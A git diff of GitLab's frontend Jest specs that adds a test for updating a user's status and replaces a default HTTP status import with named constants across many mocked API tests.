diff --git a/spec/frontend/api/user_api_spec.js b/spec/frontend/api/user_api_spec.js
index ba6b73e8c1a..9e901cf0f71 100644
--- a/spec/frontend/api/user_api_spec.js
+++ b/spec/frontend/api/user_api_spec.js
@@ -1,8 +1,13 @@
import MockAdapter from 'axios-mock-adapter';
-import { followUser, unfollowUser, associationsCount } from '~/api/user_api';
+import { followUser, unfollowUser, associationsCount, updateUserStatus } from '~/api/user_api';
import axios from '~/lib/utils/axios_utils';
-import { associationsCount as associationsCountData } from 'jest/admin/users/mock_data';
+import {
+ associationsCount as associationsCountData,
+ userStatus as mockUserStatus,
+} from 'jest/admin/users/mock_data';
+import { AVAILABILITY_STATUS } from '~/set_status_modal/constants';
+import { timeRanges } from '~/vue_shared/constants';
describe('~/api/user_api', () => {
let axiosMock;
@@ -62,4 +67,30 @@ describe('~/api/user_api', () => {
expect(axiosMock.history.get[0].url).toBe(expectedUrl);
});
});
+
+ describe('updateUserStatus', () => {
+ it('calls correct URL and returns expected response', async () => {
+ const expectedUrl = '/api/v4/user/status';
+ const expectedData = {
+ emoji: 'basketball',
+ message: 'test',
+ availability: AVAILABILITY_STATUS.BUSY,
+ clear_status_after: timeRanges[0].shortcut,
+ };
+ const expectedResponse = { data: mockUserStatus };
+
+ axiosMock.onPatch(expectedUrl).replyOnce(200, expectedResponse);
+
+ await expect(
+ updateUserStatus({
+ emoji: 'basketball',
+ message: 'test',
+ availability: AVAILABILITY_STATUS.BUSY,
+ clearStatusAfter: timeRanges[0].shortcut,
+ }),
+ ).resolves.toEqual(expect.objectContaining({ data: expectedResponse }));
+ expect(axiosMock.history.patch[0].url).toBe(expectedUrl);
+ expect(JSON.parse(axiosMock.history.patch[0].data)).toEqual(expectedData);
+ });
+ });
});
diff --git a/spec/frontend/api_spec.js b/spec/frontend/api_spec.js
index 5209d9c2d2c..39fbe02480d 100644
--- a/spec/frontend/api_spec.js
+++ b/spec/frontend/api_spec.js
@@ -1,10 +1,13 @@
import MockAdapter from 'axios-mock-adapter';
import Api, { DEFAULT_PER_PAGE } from '~/api';
import axios from '~/lib/utils/axios_utils';
-import httpStatus, {
+import {
HTTP_STATUS_ACCEPTED,
HTTP_STATUS_CREATED,
+ HTTP_STATUS_INTERNAL_SERVER_ERROR,
HTTP_STATUS_NO_CONTENT,
+ HTTP_STATUS_NOT_FOUND,
+ HTTP_STATUS_OK,
} from '~/lib/utils/http_status';
jest.mock('~/flash');
@@ -64,7 +67,7 @@ describe('Api', () => {
it('fetch all group packages', () => {
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/groups/${groupId}/packages`;
jest.spyOn(axios, 'get');
- mock.onGet(expectedUrl).replyOnce(httpStatus.OK, apiResponse);
+ mock.onGet(expectedUrl).replyOnce(HTTP_STATUS_OK, apiResponse);
return Api.groupPackages(groupId).then(({ data }) => {
expect(data).toEqual(apiResponse);
@@ -77,7 +80,7 @@ describe('Api', () => {
it('fetch all project packages', () => {
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectId}/packages`;
jest.spyOn(axios, 'get');
- mock.onGet(expectedUrl).replyOnce(httpStatus.OK, apiResponse);
+ mock.onGet(expectedUrl).replyOnce(HTTP_STATUS_OK, apiResponse);
return Api.projectPackages(projectId).then(({ data }) => {
expect(data).toEqual(apiResponse);
@@ -99,7 +102,7 @@ describe('Api', () => {
const expectedUrl = `foo`;
jest.spyOn(Api, 'buildProjectPackageUrl').mockReturnValue(expectedUrl);
jest.spyOn(axios, 'get');
- mock.onGet(expectedUrl).replyOnce(httpStatus.OK, apiResponse);
+ mock.onGet(expectedUrl).replyOnce(HTTP_STATUS_OK, apiResponse);
return Api.projectPackage(projectId, packageId).then(({ data }) => {
expect(data).toEqual(apiResponse);
@@ -114,7 +117,7 @@ describe('Api', () => {
jest.spyOn(Api, 'buildProjectPackageUrl').mockReturnValue(expectedUrl);
jest.spyOn(axios, 'delete');
- mock.onDelete(expectedUrl).replyOnce(httpStatus.OK, true);
+ mock.onDelete(expectedUrl).replyOnce(HTTP_STATUS_OK, true);
return Api.deleteProjectPackage(projectId, packageId).then(({ data }) => {
expect(data).toEqual(true);
@@ -130,7 +133,7 @@ describe('Api', () => {
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectId}/packages/${packageId}/package_files/${packageFileId}`;
jest.spyOn(axios, 'delete');
- mock.onDelete(expectedUrl).replyOnce(httpStatus.OK, true);
+ mock.onDelete(expectedUrl).replyOnce(HTTP_STATUS_OK, true);
return Api.deleteProjectPackageFile(projectId, packageId, packageFileId).then(
({ data }) => {
@@ -150,7 +153,7 @@ describe('Api', () => {
jest.spyOn(axios, 'get');
jest.spyOn(Api, 'buildUrl').mockReturnValueOnce(expectedUrl);
- mock.onGet(expectedUrl).replyOnce(httpStatus.OK, apiResponse);
+ mock.onGet(expectedUrl).replyOnce(HTTP_STATUS_OK, apiResponse);
const { data } = await Api.containerRegistryDetails(1);
@@ -164,7 +167,7 @@ describe('Api', () => {
it('fetches a group', () => {
const groupId = '123456';
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/groups/${groupId}`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, {
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, {
name: 'test',
});
@@ -182,7 +185,7 @@ describe('Api', () => {
const groupId = '54321';
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/groups/${groupId}/members`;
const expectedData = [{ id: 7 }];
- mock.onGet(expectedUrl).reply(httpStatus.OK, expectedData);
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, expectedData);
return Api.groupMembers(groupId).then(({ data }) => {
expect(data).toEqual(expectedData);
@@ -232,7 +235,7 @@ describe('Api', () => {
web_url: 'https://gitlab.com/groups/gitlab-org/-/milestones/42',
},
];
- mock.onGet(expectedUrl).reply(httpStatus.OK, expectedData);
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, expectedData);
return Api.groupMilestones(groupId).then(({ data }) => {
expect(data).toEqual(expectedData);
@@ -245,7 +248,7 @@ describe('Api', () => {
const query = 'dummy query';
const options = { unused: 'option' };
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/groups.json`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, [
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, [
{
name: 'test',
},
@@ -266,7 +269,7 @@ describe('Api', () => {
const options = { params: { search: 'foo' } };
const expectedGroup = 'gitlab-org';
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/groups/${expectedGroup}/labels`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, [
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, [
{
id: 1,
name: 'Foo Label',
@@ -284,7 +287,7 @@ describe('Api', () => {
it('fetches namespaces', () => {
const query = 'dummy query';
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/namespaces.json`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, [
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, [
{
name: 'test',
},
@@ -306,7 +309,7 @@ describe('Api', () => {
const options = { unused: 'option' };
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects.json`;
window.gon.current_user_id = 1;
- mock.onGet(expectedUrl).reply(httpStatus.OK, [
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, [
{
name: 'test',
},
@@ -325,7 +328,7 @@ describe('Api', () => {
const query = 'dummy query';
const options = { unused: 'option' };
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects.json`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, [
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, [
{
name: 'test',
},
@@ -345,7 +348,7 @@ describe('Api', () => {
it('update a project with the given payload', () => {
const projectPath = 'foo';
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectPath}`;
- mock.onPut(expectedUrl).reply(httpStatus.OK, { foo: 'bar' });
+ mock.onPut(expectedUrl).reply(HTTP_STATUS_OK, { foo: 'bar' });
return Api.updateProject(projectPath, { foo: 'bar' }).then(({ data }) => {
expect(data.foo).toBe('bar');
@@ -359,7 +362,7 @@ describe('Api', () => {
const options = { unused: 'option' };
const projectPath = 'gitlab-org%2Fgitlab-ce';
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectPath}/users`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, [
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, [
{
name: 'test',
},
@@ -378,7 +381,7 @@ describe('Api', () => {
it('fetches all merge requests for a project', () => {
const mockData = [{ source_branch: 'foo' }, { source_branch: 'bar' }];
- mock.onGet(expectedUrl).reply(httpStatus.OK, mockData);
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, mockData);
return Api.projectMergeRequests(projectPath).then(({ data }) => {
expect(data.length).toEqual(2);
expect(data[0].source_branch).toBe('foo');
@@ -391,7 +394,7 @@ describe('Api', () => {
source_branch: 'bar',
};
const mockData = [{ source_branch: 'bar' }];
- mock.onGet(expectedUrl, { params }).reply(httpStatus.OK, mockData);
+ mock.onGet(expectedUrl, { params }).reply(HTTP_STATUS_OK, mockData);
return Api.projectMergeRequests(projectPath, params).then(({ data }) => {
expect(data.length).toEqual(1);
@@ -405,7 +408,7 @@ describe('Api', () => {
const projectPath = 'abc';
const mergeRequestId = '123456';
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectPath}/merge_requests/${mergeRequestId}`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, {
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, {
title: 'test',
});
@@ -420,7 +423,7 @@ describe('Api', () => {
const projectPath = 'abc';
const mergeRequestId = '123456';
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectPath}/merge_requests/${mergeRequestId}/changes`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, {
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, {
title: 'test',
});
@@ -435,7 +438,7 @@ describe('Api', () => {
const projectPath = 'abc';
const mergeRequestId = '123456';
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectPath}/merge_requests/${mergeRequestId}/versions`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, [
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, [
{
id: 123,
},
@@ -454,7 +457,7 @@ describe('Api', () => {
const params = { scope: 'active' };
const mockData = [{ id: 4 }];
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectPath}/runners`;
- mock.onGet(expectedUrl, { params }).reply(httpStatus.OK, mockData);
+ mock.onGet(expectedUrl, { params }).reply(HTTP_STATUS_OK, mockData);
return Api.projectRunners(projectPath, { params }).then(({ data }) => {
expect(data).toEqual(mockData);
@@ -561,7 +564,7 @@ describe('Api', () => {
expect(config.data).toBe(JSON.stringify(expectedData));
return [
- httpStatus.OK,
+ HTTP_STATUS_OK,
{
name: 'test',
},
@@ -584,7 +587,7 @@ describe('Api', () => {
expect(config.data).toBe(JSON.stringify({ color: labelData.color }));
return [
- httpStatus.OK,
+ HTTP_STATUS_OK,
{
...labelData,
},
@@ -605,7 +608,7 @@ describe('Api', () => {
const groupId = '123456';
const query = 'dummy query';
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/groups/${groupId}/projects.json`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, [
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, [
{
name: 'test',
},
@@ -660,7 +663,7 @@ describe('Api', () => {
)}/repository/commits/${sha}`;
it('fetches a single commit', () => {
- mock.onGet(expectedUrl).reply(httpStatus.OK, { id: sha });
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, { id: sha });
return Api.commit(projectId, sha).then(({ data: commit }) => {
expect(commit.id).toBe(sha);
@@ -668,7 +671,7 @@ describe('Api', () => {
});
it('fetches a single commit without stats', () => {
- mock.onGet(expectedUrl, { params: { stats: false } }).reply(httpStatus.OK, { id: sha });
+ mock.onGet(expectedUrl, { params: { stats: false } }).reply(HTTP_STATUS_OK, { id: sha });
return Api.commit(projectId, sha, { stats: false }).then(({ data: commit }) => {
expect(commit.id).toBe(sha);
@@ -686,7 +689,7 @@ describe('Api', () => {
)}`;
it('fetches an issue template', () => {
- mock.onGet(expectedUrl).reply(httpStatus.OK, 'test');
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, 'test');
return new Promise((resolve) => {
Api.issueTemplate(namespace, project, templateKey, templateType, (_, response) => {
@@ -698,7 +701,7 @@ describe('Api', () => {
describe('when an error occurs while fetching an issue template', () => {
it('rejects the Promise', () => {
- mock.onGet(expectedUrl).replyOnce(httpStatus.INTERNAL_SERVER_ERROR);
+ mock.onGet(expectedUrl).replyOnce(HTTP_STATUS_INTERNAL_SERVER_ERROR);
return new Promise((resolve) => {
Api.issueTemplate(namespace, project, templateKey, templateType, () => {
@@ -720,7 +723,7 @@ describe('Api', () => {
const expectedData = [
{ key: 'Template1', name: 'Template 1', content: 'This is template 1!' },
];
- mock.onGet(expectedUrl).reply(httpStatus.OK, expectedData);
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, expectedData);
return new Promise((resolve) => {
Api.issueTemplates(namespace, project, templateType, (_, response) => {
@@ -736,7 +739,7 @@ describe('Api', () => {
describe('when an error occurs while fetching issue templates', () => {
it('rejects the Promise', () => {
- mock.onGet(expectedUrl).replyOnce(httpStatus.INTERNAL_SERVER_ERROR);
+ mock.onGet(expectedUrl).replyOnce(HTTP_STATUS_INTERNAL_SERVER_ERROR);
Api.issueTemplates(namespace, project, templateType, () => {
expect(mock.history.get).toHaveLength(1);
@@ -749,7 +752,7 @@ describe('Api', () => {
it('fetches a list of templates', () => {
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/gitlab-org%2Fgitlab-ce/templates/licenses`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, 'test');
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, 'test');
return new Promise((resolve) => {
Api.projectTemplates('gitlab-org/gitlab-ce', 'licenses', {}, (response) => {
@@ -765,7 +768,7 @@ describe('Api', () => {
const data = { unused: 'option' };
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/gitlab-org%2Fgitlab-ce/templates/licenses/test%20license`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, 'test');
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, 'test');
return new Promise((resolve) => {
Api.projectTemplate(
@@ -787,7 +790,7 @@ describe('Api', () => {
const query = 'dummy query';
const options = { unused: 'option' };
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/users.json`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, [
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, [
{
name: 'test',
},
@@ -804,7 +807,7 @@ describe('Api', () => {
it('fetches single user', () => {
const userId = '123456';
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/users/${userId}`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, {
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, {
name: 'testuser',
});
@@ -817,7 +820,7 @@ describe('Api', () => {
describe('user counts', () => {
it('fetches single user counts', () => {
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/user_counts`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, {
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, {
merge_requests: 4,
});
@@ -831,7 +834,7 @@ describe('Api', () => {
it('fetches single user status', () => {
const userId = '123456';
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/users/${userId}/status`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, {
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, {
message: 'testmessage',
});
@@ -847,7 +850,7 @@ describe('Api', () => {
const options = { unused: 'option' };
const userId = '123456';
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/users/${userId}/projects`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, [
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, [
{
name: 'test',
},
@@ -868,7 +871,7 @@ describe('Api', () => {
const projectId = 'example/foobar';
const commitSha = 'abc123def';
const expectedUrl = `${dummyUrlRoot}/${projectId}/commit/${commitSha}/pipelines`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, [
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, [
{
name: 'test',
},
@@ -893,7 +896,7 @@ describe('Api', () => {
name: 'test',
},
];
- mock.onGet(expectedUrl, { params }).reply(httpStatus.OK, payload);
+ mock.onGet(expectedUrl, { params }).reply(HTTP_STATUS_OK, payload);
const { data } = await Api.pipelineJobs(projectId, pipelineId, params);
expect(data).toEqual(payload);
@@ -912,7 +915,7 @@ describe('Api', () => {
jest.spyOn(axios, 'post');
- mock.onPost(expectedUrl).replyOnce(httpStatus.OK, {
+ mock.onPost(expectedUrl).replyOnce(HTTP_STATUS_OK, {
name: branch,
});
@@ -932,7 +935,7 @@ describe('Api', () => {
jest.spyOn(axios, 'get');
- mock.onGet(expectedUrl).replyOnce(httpStatus.OK, ['fork']);
+ mock.onGet(expectedUrl).replyOnce(HTTP_STATUS_OK, ['fork']);
return Api.projectForks(dummyProjectPath, { visibility: 'private' }).then(({ data }) => {
expect(data).toEqual(['fork']);
@@ -1021,7 +1024,7 @@ describe('Api', () => {
describe('when releases are successfully returned', () => {
it('resolves the Promise', () => {
- mock.onGet(expectedUrl).replyOnce(httpStatus.OK);
+ mock.onGet(expectedUrl).replyOnce(HTTP_STATUS_OK);
return Api.releases(dummyProjectPath).then(() => {
expect(mock.history.get).toHaveLength(1);
@@ -1031,7 +1034,7 @@ describe('Api', () => {
describe('when an error occurs while fetching releases', () => {
it('rejects the Promise', () => {
- mock.onGet(expectedUrl).replyOnce(httpStatus.INTERNAL_SERVER_ERROR);
+ mock.onGet(expectedUrl).replyOnce(HTTP_STATUS_INTERNAL_SERVER_ERROR);
return Api.releases(dummyProjectPath).catch(() => {
expect(mock.history.get).toHaveLength(1);
@@ -1045,7 +1048,7 @@ describe('Api', () => {
describe('when the release is successfully returned', () => {
it('resolves the Promise', () => {
- mock.onGet(expectedUrl).replyOnce(httpStatus.OK);
+ mock.onGet(expectedUrl).replyOnce(HTTP_STATUS_OK);
return Api.release(dummyProjectPath, dummyTagName).then(() => {
expect(mock.history.get).toHaveLength(1);
@@ -1055,7 +1058,7 @@ describe('Api', () => {
describe('when an error occurs while fetching the release', () => {
it('rejects the Promise', () => {
- mock.onGet(expectedUrl).replyOnce(httpStatus.INTERNAL_SERVER_ERROR);
+ mock.onGet(expectedUrl).replyOnce(HTTP_STATUS_INTERNAL_SERVER_ERROR);
return Api.release(dummyProjectPath, dummyTagName).catch(() => {
expect(mock.history.get).toHaveLength(1);
@@ -1083,7 +1086,7 @@ describe('Api', () => {
describe('when an error occurs while creating the release', () => {
it('rejects the Promise', () => {
- mock.onPost(expectedUrl, release).replyOnce(httpStatus.INTERNAL_SERVER_ERROR);
+ mock.onPost(expectedUrl, release).replyOnce(HTTP_STATUS_INTERNAL_SERVER_ERROR);
return Api.createRelease(dummyProjectPath, release).catch(() => {
expect(mock.history.post).toHaveLength(1);
@@ -1101,7 +1104,7 @@ describe('Api', () => {
describe('when the release is successfully updated', () => {
it('resolves the Promise', () => {
- mock.onPut(expectedUrl, release).replyOnce(httpStatus.OK);
+ mock.onPut(expectedUrl, release).replyOnce(HTTP_STATUS_OK);
return Api.updateRelease(dummyProjectPath, dummyTagName, release).then(() => {
expect(mock.history.put).toHaveLength(1);
@@ -1111,7 +1114,7 @@ describe('Api', () => {
describe('when an error occurs while updating the release', () => {
it('rejects the Promise', () => {
- mock.onPut(expectedUrl, release).replyOnce(httpStatus.INTERNAL_SERVER_ERROR);
+ mock.onPut(expectedUrl, release).replyOnce(HTTP_STATUS_INTERNAL_SERVER_ERROR);
return Api.updateRelease(dummyProjectPath, dummyTagName, release).catch(() => {
expect(mock.history.put).toHaveLength(1);
@@ -1139,7 +1142,7 @@ describe('Api', () => {
describe('when an error occurs while creating the Release', () => {
it('rejects the Promise', () => {
- mock.onPost(expectedUrl, expectedLink).replyOnce(httpStatus.INTERNAL_SERVER_ERROR);
+ mock.onPost(expectedUrl, expectedLink).replyOnce(HTTP_STATUS_INTERNAL_SERVER_ERROR);
return Api.createReleaseLink(dummyProjectPath, dummyTagName, expectedLink).catch(() => {
expect(mock.history.post).toHaveLength(1);
@@ -1154,7 +1157,7 @@ describe('Api', () => {
describe('when the Release is successfully deleted', () => {
it('resolves the Promise', () => {
- mock.onDelete(expectedUrl).replyOnce(httpStatus.OK);
+ mock.onDelete(expectedUrl).replyOnce(HTTP_STATUS_OK);
return Api.deleteReleaseLink(dummyProjectPath, dummyTagName, dummyLinkId).then(() => {
expect(mock.history.delete).toHaveLength(1);
@@ -1164,7 +1167,7 @@ describe('Api', () => {
describe('when an error occurs while deleting the Release', () => {
it('rejects the Promise', () => {
- mock.onDelete(expectedUrl).replyOnce(httpStatus.INTERNAL_SERVER_ERROR);
+ mock.onDelete(expectedUrl).replyOnce(HTTP_STATUS_INTERNAL_SERVER_ERROR);
return Api.deleteReleaseLink(dummyProjectPath, dummyTagName, dummyLinkId).catch(() => {
expect(mock.history.delete).toHaveLength(1);
@@ -1183,7 +1186,7 @@ describe('Api', () => {
describe('when the raw file is successfully fetched', () => {
beforeEach(() => {
- mock.onGet(expectedUrl).replyOnce(httpStatus.OK);
+ mock.onGet(expectedUrl).replyOnce(HTTP_STATUS_OK);
});
it('resolves the Promise', () => {
@@ -1206,7 +1209,7 @@ describe('Api', () => {
describe('when an error occurs while getting a raw file', () => {
it('rejects the Promise', () => {
- mock.onPost(expectedUrl).replyOnce(httpStatus.INTERNAL_SERVER_ERROR);
+ mock.onPost(expectedUrl).replyOnce(HTTP_STATUS_INTERNAL_SERVER_ERROR);
return Api.getRawFile(dummyProjectPath, dummyFilePath).catch(() => {
expect(mock.history.get).toHaveLength(1);
@@ -1238,7 +1241,7 @@ describe('Api', () => {
describe('when an error occurs while getting a raw file', () => {
it('rejects the Promise', () => {
- mock.onPost(expectedUrl).replyOnce(httpStatus.INTERNAL_SERVER_ERROR);
+ mock.onPost(expectedUrl).replyOnce(HTTP_STATUS_INTERNAL_SERVER_ERROR);
return Api.createProjectMergeRequest(dummyProjectPath).catch(() => {
expect(mock.history.post).toHaveLength(1);
@@ -1253,7 +1256,7 @@ describe('Api', () => {
const issue = 1;
const expectedArray = [1, 2, 3];
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectId}/issues/${issue}`;
- mock.onPut(expectedUrl).reply(httpStatus.OK, { assigneeIds: expectedArray });
+ mock.onPut(expectedUrl).reply(HTTP_STATUS_OK, { assigneeIds: expectedArray });
return Api.updateIssue(projectId, issue, { assigneeIds: expectedArray }).then(({ data }) => {
expect(data.assigneeIds).toEqual(expectedArray);
@@ -1267,7 +1270,7 @@ describe('Api', () => {
const mergeRequest = 1;
const expectedArray = [1, 2, 3];
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectId}/merge_requests/${mergeRequest}`;
- mock.onPut(expectedUrl).reply(httpStatus.OK, { assigneeIds: expectedArray });
+ mock.onPut(expectedUrl).reply(HTTP_STATUS_OK, { assigneeIds: expectedArray });
return Api.updateMergeRequest(projectId, mergeRequest, { assigneeIds: expectedArray }).then(
({ data }) => {
@@ -1283,7 +1286,7 @@ describe('Api', () => {
const options = { unused: 'option' };
const projectId = 8;
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectId}/repository/tags`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, [
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, [
{
name: 'test',
},
@@ -1308,7 +1311,7 @@ describe('Api', () => {
updated_at: '2020-07-10T05:10:35.122Z',
};
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectId}/freeze_periods`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, [freezePeriod]);
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, [freezePeriod]);
return Api.freezePeriods(projectId).then(({ data }) => {
expect(data[0]).toStrictEqual(freezePeriod);
@@ -1368,7 +1371,7 @@ describe('Api', () => {
describe('when the freeze period is successfully updated', () => {
it('resolves the Promise', () => {
- mock.onPut(expectedUrl, options).replyOnce(httpStatus.OK, expectedResult);
+ mock.onPut(expectedUrl, options).replyOnce(HTTP_STATUS_OK, expectedResult);
return Api.updateFreezePeriod(projectId, options).then(({ data }) => {
expect(data).toStrictEqual(expectedResult);
@@ -1392,7 +1395,7 @@ describe('Api', () => {
jest.spyOn(axios, 'post');
- mock.onPost(expectedUrl).replyOnce(httpStatus.OK, {
+ mock.onPost(expectedUrl).replyOnce(HTTP_STATUS_OK, {
web_url: redirectUrl,
});
@@ -1423,7 +1426,7 @@ describe('Api', () => {
it('returns null', () => {
jest.spyOn(axios, 'post');
- mock.onPost(expectedUrl).replyOnce(httpStatus.OK, true);
+ mock.onPost(expectedUrl).replyOnce(HTTP_STATUS_OK, true);
expect(axios.post).toHaveBeenCalledTimes(0);
expect(Api.trackRedisCounterEvent(event)).toEqual(null);
@@ -1437,7 +1440,7 @@ describe('Api', () => {
it('resolves the Promise', () => {
jest.spyOn(axios, 'post');
- mock.onPost(expectedUrl, { event }).replyOnce(httpStatus.OK, true);
+ mock.onPost(expectedUrl, { event }).replyOnce(HTTP_STATUS_OK, true);
return Api.trackRedisCounterEvent(event).then(({ data }) => {
expect(data).toEqual(true);
@@ -1483,7 +1486,7 @@ describe('Api', () => {
it('resolves the Promise', () => {
jest.spyOn(axios, 'post');
- mock.onPost(expectedUrl, { event }).replyOnce(httpStatus.OK, true);
+ mock.onPost(expectedUrl, { event }).replyOnce(HTTP_STATUS_OK, true);
return Api.trackRedisHllUserEvent(event).then(({ data }) => {
expect(data).toEqual(true);
@@ -1544,7 +1547,7 @@ describe('Api', () => {
];
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/deploy_keys`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, deployKeys);
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, deployKeys);
const params = { page: 2, public: true };
const { data } = await Api.deployKeys(params);
@@ -1569,7 +1572,7 @@ describe('Api', () => {
];
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectId}/secure_files`;
- mock.onGet(expectedUrl).reply(httpStatus.OK, secureFiles);
+ mock.onGet(expectedUrl).reply(HTTP_STATUS_OK, secureFiles);
const { data } = await Api.projectSecureFiles(projectId, {});
expect(data).toEqual(secureFiles);
@@ -1589,7 +1592,7 @@ describe('Api', () => {
};
const expectedUrl = `${dummyUrlRoot}/api/${dummyApiVersion}/projects/${projectId}/secure_files`;
- mock.onPost(expectedUrl).reply(httpStatus.OK, secureFile);
+ mock.onPost(expectedUrl).reply(HTTP_STATUS_OK, secureFile);
const { data } = await Api.uploadProjectSecureFile(projectId, 'some data');
expect(data).toEqual(secureFile);
@@ -1639,7 +1642,7 @@ describe('Api', () => {
describe('fetchFeatureFlagUserLists', () => {
it('GETs the right url', () => {
- mock.onGet(expectedUrl).replyOnce(httpStatus.OK, []);
+ mock.onGet(expectedUrl).replyOnce(HTTP_STATUS_OK, []);
return Api.fetchFeatureFlagUserLists(projectId).then(({ data }) => {
expect(data).toEqual([]);
@@ -1649,7 +1652,7 @@ describe('Api', () => {
describe('searchFeatureFlagUserLists', () => {
it('GETs the right url', () => {
- mock.onGet(expectedUrl, { params: { search: 'test' } }).replyOnce(httpStatus.OK, []);
+ mock.onGet(expectedUrl, { params: { search: 'test' } }).replyOnce(HTTP_STATUS_OK, []);
return Api.searchFeatureFlagUserLists(projectId, 'test').then(({ data }) => {
expect(data).toEqual([]);
@@ -1663,7 +1666,7 @@ describe('Api', () => {
name: 'mock_user_list',
user_xids: '1,2,3,4',
};
- mock.onPost(expectedUrl, mockUserListData).replyOnce(httpStatus.OK, mockUserList);
+ mock.onPost(expectedUrl, mockUserListData).replyOnce(HTTP_STATUS_OK, mockUserList);
return Api.createFeatureFlagUserList(projectId, mockUserListData).then(({ data }) => {
expect(data).toEqual(mockUserList);
@@ -1673,7 +1676,7 @@ describe('Api', () => {
describe('fetchFeatureFlagUserList', () => {
it('GETs the right url', () => {
- mock.onGet(`${expectedUrl}/1`).replyOnce(httpStatus.OK, mockUserList);
+ mock.onGet(`${expectedUrl}/1`).replyOnce(HTTP_STATUS_OK, mockUserList);
return Api.fetchFeatureFlagUserList(projectId, 1).then(({ data }) => {
expect(data).toEqual(mockUserList);
@@ -1685,7 +1688,7 @@ describe('Api', () => {
it('PUTs the right url', () => {
mock
.onPut(`${expectedUrl}/1`)
- .replyOnce(httpStatus.OK, { ...mockUserList, user_xids: '5' });
+ .replyOnce(HTTP_STATUS_OK, { ...mockUserList, user_xids: '5' });
return Api.updateFeatureFlagUserList(projectId, {
...mockUserList,
@@ -1698,7 +1701,7 @@ describe('Api', () => {
describe('deleteFeatureFlagUserList', () => {
it('DELETEs the right url', () => {
- mock.onDelete(`${expectedUrl}/1`).replyOnce(httpStatus.OK, 'deleted');
+ mock.onDelete(`${expectedUrl}/1`).replyOnce(HTTP_STATUS_OK, 'deleted');
return Api.deleteFeatureFlagUserList(projectId, 1).then(({ data }) => {
expect(data).toBe('deleted');
@@ -1715,12 +1718,12 @@ describe('Api', () => {
